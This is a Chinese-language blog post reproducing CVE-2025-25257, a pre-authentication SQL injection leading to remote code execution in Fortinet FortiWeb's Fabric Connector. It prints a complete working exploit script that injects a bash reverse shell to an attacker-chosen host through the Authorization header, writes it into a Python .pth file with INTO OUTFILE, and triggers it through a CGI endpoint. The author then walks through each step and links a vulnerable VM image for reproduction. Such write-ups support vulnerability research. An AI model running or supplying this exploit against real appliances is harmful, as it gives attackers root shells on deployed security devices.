Fortinet FortiWeb Fabric Connector (CVE-2025-25257)复现

Posted by Closure on July 12, 2025

Pre-Auth SQL Injection to RCE - Fortinet FortiWeb Fabric Connector (CVE-2025-25257)

Pre-Auth SQL Injection to RCE - Fortinet FortiWeb Fabric Connector (CVE-2025-25257)

这是Fortinet FortiWeb Fabric Connector中的一个能导致rce的预认证SQL注入漏洞,受影响的组件是Fortinet FortiWeb里面的Fabric Connector,是处理来自其他Fortinet设备API认证请求的 get_fabric_user_by_token函数。根本原因是组件在构建SQL查询语句时直接使用了C的 snprintf函数把来自HTTP请求Authorization头部的 Bearer Token值拼接到SQL查询字符串中,但没有对这个输入值进行任何有效的清理转义or参数化处理所以可以通过构造Bearer Token来注入SQL命令。

wb博主拿Aipy总结了一个流程图如下

https://aipy.xxyy.eu.org/view/32bcf8b1-df21-4f4d-93fd-8ad0b92c8b8f.html

poc流程

import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
import argparse
import binascii
import random
from time import sleep
banner = """			 __         ___  ___________                   
	 __  _  ______ _/  |__ ____ |  |_\\__    ____\\____  _  ________ 
	 \\ \\/ \\/ \\__  \\    ___/ ___\\|  |  \\|    | /  _ \\ \\/ \\/ \\_  __ \\
	  \\     / / __ \\|  | \\  \\___|   Y  |    |(  <_> \\     / |  | \\/
	   \\/\\_/ (____  |__|  \\___  |___|__|__  | \\__  / \\/\\_/  |__|   
				  \\/          \\/     \\/                            

        watchTowr-vs-FortiWeb-CVE-2025-25257.py

        (*) FortiWeb Unauthenticated SQLi to Remote Code Execution Detection Artifact Generator
        
          - Sina Kheirkhah (@SinSinology) of watchTowr (@watchTowrcyber)

        CVEs: [CVE-2025-25257]
"""
print(banner)

parser = argparse.ArgumentParser(description='Detection Artifact Generator for CVE-2025-25257')
parser.add_argument('--target', required=True, help='Target URL')
parser.add_argument('--lhost', required=True)
parser.add_argument('--lport', required=True)
args = parser.parse_args()

args.command = f"""import os; os.system('bash -c "/bin/bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1"')"""
args.target = args.target.rstrip('/')

s = requests.Session()
s.verify = False 

def build_token_updates(encoded_hex: str, chunk_size: int = 10):
    if chunk_size % 2 != 0:
        print("[!] chunk size must be even bro")
        exit(1)

    chunks = [encoded_hex[i : i + chunk_size]
              for i in range(0, len(encoded_hex), chunk_size)]

    for idx, piece in enumerate(chunks):
        if idx == 0:
            sql = (
                f"SET/**/token=UNHEX('{piece}')"
            )
        else:
            sql = (
                f"SET/**/token=CONCAT(token,UNHEX('{piece}'))"
            )

        payload = (
            f"Bearer '/**/;UPDATE/**/fabric_user.user_table/**/"
            f"{sql};SELECT/**/'1'"
        )
        s.headers.update({'Authorization': payload})
        s.get(f"{args.target}/api/fabric/device/status")
        print(f"[*] sprayed chunk #{idx+1}/{len(chunks)}:\t{piece!r}")
        sleep(1)

encoded_command = binascii.hexlify(args.command.encode()).decode()
build_token_updates(encoded_command)

s.headers.update({
    'Authorization': f"Bearer '/**/UNION/**/SELECT/**/token/**/from/**/fabric_user.user_table/**/into/**/outfile/**/'../../lib/python3.10/site-packages/x.pth"
})

s.get(f"{args.target}/api/fabric/device/status")

print("\n[*] Pop thy shell!")
s.headers.pop('Authorization', None)
s.head(f"{args.target}/cgi-bin/ml-draw.py")

结合已有的gitub上的poc来分析流程,这个写的还挺好的,学到了()

在脚本执行一开始的时候它先通过 argparse,脚本接收三个关键参数target lhost lport,再根据 lhost 和 lport 生成一段反向shell。

args.command = f"""import os; os.system('bash -c "/bin/bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1"')"""

然后转成16进制方便注入

由于一次性注入一个很长的命令可能会失败,poc采取化整为零的策略。 定义build_token_updates函数,负责将十六进制的Payload Spray到数据库中。再Chunking把十六进制命令字符串切割成多个小的数据块。第一次注入的部分是构造一个SQL UPDATE 语句,将第一个数据块写入到 fabric_user.user_table 表的 token 字段,使用 UNHEX() 函数将十六进制数据块还原为原始字符。

sql = (f"SET/**/token=UNHEX('{piece}')")

对于剩下的数据块使用 CONCAT函数,将新的数据块追加到 token 字段现有内容的末尾。

sql = (f"SET/**/token=CONCAT(token,UNHEX('{piece}'))")

s.headers.update({
    'Authorization': f"Bearer '/**/UNION/**/SELECT/**/token/**/from/**/fabric_user.user_table/**/into/**/outfile/**/'../../lib/python3.10/site-packages/x.pth"
})

SELECT token from fabric_user.user_table,这部分从数据库中读取出上一步组合好的完整反向shell命令。

INTO OUTFILE ‘../../lib/python3.10/site-packages/x.pth’,将读取到的命令内容写入到服务器文件系统的一个特殊路径下。.pth 是Python的路径配置文件,当Python解释器启动时,如果该文件中的某一行以import开头,解释器会直接执行它。反向shell命令正是以import os;开头。

最后一步是脚本向服务器上的任意一个Python CGI脚本,这里是* /cgi-bin/ml-draw.py*,来发送一个简单的HEAD请求。这个请求会使Web服务器启动Python解释器来处理CGI任务,因为Python解释器在初始化时会自动扫描site-packages目录找到我们写入的 x.pth 文件,并执行里面的代码。

服务器执行了x.pth中的反向shell也就拥有了服务器 root 权限的shell。

复现需要的虚拟机文件

监听机得下载Fortinet FortiWeb,ova虚拟机文件下载,我找到的版本是7.4.0:

链接: https://pan.baidu.com/s/1UepPwRBYDfUWLzGDOnlfOA?pwd=98gd 提取码: 98gd